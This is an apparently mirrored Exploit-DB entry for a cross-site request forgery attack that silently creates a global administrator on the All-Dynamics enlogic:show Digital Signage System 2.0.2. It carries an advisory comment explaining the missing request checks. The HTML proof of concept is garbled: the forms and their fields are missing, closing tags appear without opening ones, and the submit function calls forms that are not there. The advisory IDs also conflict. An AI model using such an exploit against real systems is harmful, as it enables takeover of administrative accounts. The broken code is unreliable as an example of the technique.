All-Dynamics Digital Signage System 2.0.2 – Cross-Site Request Forgery (Add Admin)

Exploit Database
108 阅读

作者： LiquidWorm

日期： 2020-08-07
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/48736/

# Exploit Title: All-Dynamics Digital Signage System 2.0.2 - Cross-Site Request Forgery (Add Admin)

# Discovery by: LiquidWorm

# Discovery Date: 2020-08-05

# Vendor Homepage: https://www.all-dynamics.de

<!DOCTYPE html>

<!--

All-Dynamics Software enlogic:show Digital Signage System 2.0.2 CSRF Add Admin

Vendor: All-Dynamics Software GmbH

Product web page: https://www.all-dynamics.de

Affected version: 2.0.2 (Build 2098) ILP32W 0/1/3/1597919619

Summary: Bring communication with your customers, guests or employees

to a new level. You can design content individually and uncomplicated

centrally and simply present it in different locations. Whether on large

displays, steles, digital signs or on a projector, with enlogic:show your

content will appear on the selected display in a calendar-controlled and

precise manner.

Desc: The application interface allows users to perform certain actions

via HTTP requests without performing any validity checks to verify the

requests. This can be exploited to perform certain actions with administrative

privileges if a logged-in user visits a malicious web site.

Reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5577.php

Tested on: enlogic:show server

Microsoft Windows Server 2019

Microsoft Windows Server 2016

Microsoft Windows Server 2012

Microsoft Windows 10

GNU/Linux

Apache

PHP

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2020-5576

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5576.php

21.07.2020

-->

<html>

<h2>Grants the user the global administrative right. Administrative users are no longer under the control of the rights structure.</h2>

<h1>Global: Superior rolebased rights.</h1>

</form>

</form>

function runcsrf() {

document.saveuser.submit();

document.addadmin.submit();

}

</script>

</body>

</html>